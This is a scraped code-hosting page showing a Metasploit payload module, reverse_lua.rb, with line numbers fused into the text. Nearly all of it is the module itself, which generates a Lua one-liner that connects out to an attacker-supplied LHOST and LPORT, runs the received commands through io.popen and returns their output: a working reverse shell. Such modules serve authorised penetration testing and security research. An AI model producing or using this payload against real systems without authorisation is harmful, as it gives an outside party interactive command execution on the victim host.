Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_lua.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 224910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Reverse TCP (via Lua)',16'Description' => 'Creates an interactive shell via Lua',17'Author' =>18[19'xistence <xistence[at]0x90.nl>',20],21'License' => MSF_LICENSE,22'Platform' => 'unix',23'Arch' => ARCH_CMD,24'Handler' => Msf::Handler::ReverseTcp,25'Session' => Msf::Sessions::CommandShell,26'PayloadType' => 'cmd',27'RequiredCmd' => 'lua',28'Payload' =>29{30'Offsets' => { },31'Payload' => ''32}33))34register_advanced_options(35[36OptString.new('LuaPath', [true, 'The path to the Lua executable', 'lua'])37]38)39end4041#42# Constructs the payload43#44def generate(_opts = {})45vprint_good(command_string)46return super + command_string47end4849#50# Returns the command string to use for execution51#52def command_string53"#{datastore['LuaPath']} -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\""54end55end56575859